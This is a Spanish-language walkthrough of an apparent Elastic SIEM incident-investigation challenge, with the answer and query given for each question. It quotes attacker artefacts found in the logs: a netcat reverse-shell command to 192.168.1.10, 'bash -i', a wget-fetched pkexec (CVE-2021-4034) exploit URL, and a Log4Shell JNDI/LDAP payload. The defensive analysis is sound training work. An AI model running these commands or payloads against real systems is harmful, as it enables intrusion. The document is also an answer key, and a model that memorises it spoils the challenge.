Scenario:
An attacker was able to trick an employee into downloading a suspicious file and running it. The attacker compromised the system, along with that, The Security Team did not update most systems. The attacker was able to pivot to another system and compromise the company. As a SOC analyst, you are assigned to investigate the incident using Elastic as a SIEM tool and help the team to kick out the attacker.
Resources:
- https://www.elastic.co/
- Threat Hunting with Elastic Stack by Andrew Pease (Book)
- https://www.youtube.com/playlist?list=PLeLcvrwLe184BoWZhv6Cf2kbi-bKBeDBI
- https://www.youtube.com/c/OfficialElasticCommunity
- https://www.elastic.co/blog/
#1 Respuesta: ahmed
Who downloads the malicious file which has a double extension?
Obtención de la evidencia
Filtramos la doble extensión mediante file.name: *.*.exe y podemos ver como el usuario ahmed se a descargado un archivo llamado Acount_details.pdf.exe
Mas información
#2 Respuesta: DESKTOP-Q1SL9P2
What is the hostname he was using?
Obtención de la evidencia
En la anterior pregunta ya vimos el nombre del dispositivo desde donde se habia descargado el archivo
#3 Respuesta: Acount_details.pdf.exe
What is the name of the malicious file?
Obtención de la evidencia
En la anterior pregunta ya vimos el nombre del dispositivo desde donde se habia descargado el archivo
#4 Respuesta: 192.168.1.10
What is the attacker's IP address?
Obtención de la evidencia
Con los datos obtenidos anteriormente buscamos en Security > Alerts. Presionamos sobre Analyze Event
Una vez accedido podemos ver que existen 11 eventos de network.
#5 Respuesta: cybery
Another user with high privilege runs the same malicious file. What is the username?
Obtención de la evidencia
Como en la anterior pregunta nos vamos a en Security > Alerts y buscamos file.name : «Acount_details.pdf.exe». Como podemos observar en la imagen el usuario cybery tambien a ejecutado el archivo.
#6 Respuesta: mCblHDgWP.dll
The attacker was able to upload a DLL file of size 8704. What is the file name?
Obtención de la evidencia
Filtramos por todos los archivos con extensión .dll que su peso sea 8704 y esé asociado a nuestro archivo malicioso.
file.name : *.dll and file.size : "8704" and process.name : "Acount_details.pdf.exe"
#7 Respuesta: rundll32.exe
What parent process name spawns cmd with NT AUTHORITY privilege and pid 10716?
Obtención de la evidencia
Filtramos por el PID y el nombre del proceso que nos indican.
process.pid : "10716" and process.name: "cmd.exe"
Como podemos ver en la siguiente imagen el proceso inicial es: rundll32.exe
#8 Respuesta: HKLM\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
The previous process was able to access a registry. What is the full path of the registry?
Obtención de la evidencia
En el anterior pregunta vimos que el proceso que generaba el cmd.exe era rundll32.exe, si podemos apreciar este proceso realizo un registro.
#9 Respuesta: ModuleAnalysisCache
PowerShell process with pid 8836 changed a file in the system. What was that filename?
Obtención de la evidencia
Filtramos por el PID y por powershell
process.name: "powershell.exe" and process.pid : 8836
Accedemos a los ficheros y podemos comprobar que modifico el fichero ModuleAnalysisCache
#10 Respuesta: __PSScriptPolicyTest_bymwxuft.3b5.ps1
PowerShell process with pid 11676 created files with the ps1 extension. What is the first file that has been created?
Obtención de la evidencia
Nos vamos a Security > Hosts > Events y filtramos por el PID y la extensión indicada.
#11 Respuesta: 192.168.10.30
What is the machine's IP address that is in the same LAN as a windows machine?
Obtención de la evidencia
Accedemos a Security > Hosts y vemos todos los servidores
Como podemos observar nuestra maquina tiene la dirección ip 192.168.10.10
buscamos todo el rango 192.168.10.0/24 y excluimos nuestra propia ip
host.ip: 192.168.10.0/24 and NOT host.ip: 192.168.10.10 and NOT host.ip: 127.0.0.1
#12 Respuesta: salem
The attacker login to the Ubuntu machine after a brute force attack. What is the username he was successfully login with?
Obtención de la evidencia
Query
host.name: "ubuntu" and log.file.path : "/var/log/auth.log" and system.auth.ssh.event : "Accepted"
#13 Respuesta: https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py
After that attacker downloaded the exploit from the GitHub repo using wget. What is the full URL of the repo?
Obtención de la evidencia
Dado que sabemos por la anterior pregunta que se está realizando mediante el usuario salem y el servidor Ubuntu filtramos por estos datos.
Nos vamos a Security > Hosts > Events
host.name: "ubuntu" and user.name: "salem"
Como podemos ver tenemos demasiados eventos, por lo tanto tenemos que seguir filtrando para obtener mayor información.
Dado que estamos en un servidor GNU/Linux seguiramente hayan empleado wget, curl o git para realizar la descarga.
host.name: "ubuntu" and user.name: "salem" and process.args : "wget"
#14 Respuesta: 3a4ad518e9e404a6bad3d39dfebaf2f6
After The attacker runs the exploit, which spawns a new process called pkexec, what is the process's md5 hash?
Obtención de la evidencia
Filtramos por el nombre del exploit que vimos en la anterior pregunta CVE-2021-4034.py
host.name: "ubuntu" and user.name: "salem" and process.args: "CVE-2021-4034.py"
host.name: "ubuntu" and process.executable: "/usr/bin/pkexec"
#15 Respuesta: Bash -i
Then attacker gets an interactive shell by running a specific command on the process id 3011 with the root user. What is the command?
Obtención de la evidencia
Nos vamos nuevamente a Security > Hosts > Event y filtramos por el PID y el usuario proporcionado
host.name: "ubuntu" and user.name: "root" and process.pid : "3011"
#16 Respuesta: centos
What is the hostname which alert signal.rule.name: "Netcat Network Activity"?
Obtención de la evidencia
Security > Alerts y filtramos por la regla «Netcat Network Activity»
#17 Respuesta: solr
What is the username who ran netcat?
Obtención de la evidencia
Filtramos por el proceso de netcat
process.args : "nc" and event.action : "exec"
#18 Respuesta: java
What is the parent process name of netcat?
Obtención de la evidencia
Com ya vimos en la pregunta anterior el proceso padre es java
#19 Respuesta: nc -e /bin/bash 192.168.1.10 9999
If you focus on nc process, you can get the entire command that the attacker ran to get a reverse shell. Write the full command?
Obtención de la evidencia
Buscamos los procesos que contengan «nc»
process.args : "nc" and event.action : "exec"
#20 Respuesta: Log4Shell
From the previous three questions, you may remember a famous java vulnerability. What is it?
#21 Respusta: /var/solr/logs/solr.log
What is the entire log file path of the "solr" application?
Obtención de la evidencia
Filtramos empleando log.file.path y el string que nos indican en la pregunta
log.file.path : *solr*
Obtención de la evidencia
#22 Respuesta: /admin/cores
What is the path that is vulnerable to log4j?
Obtención de la evidencia
Mediante el mismo filtro realizado en la pregunta #21 en «message» podemos obtener nuestra respuesta.
#23 Respuesta: foo
What is the GET request parameter used to deliver log4j payload?
Obtención de la evidencia
Mediante el mismo filtro realizado en la pregunta #21 en «message» podemos obtener nuestra respuesta.
#24 Respuesta: { foo = $ {jndi:ldap://192.168.1.10:1389/Exploit}}«
What is the JNDI payload that is connected to the LDAP port?
Obtención de la evidencia
Mediante el mismo filtro realizado en la pregunta #21 en «message» podemos obtener nuestra respuesta.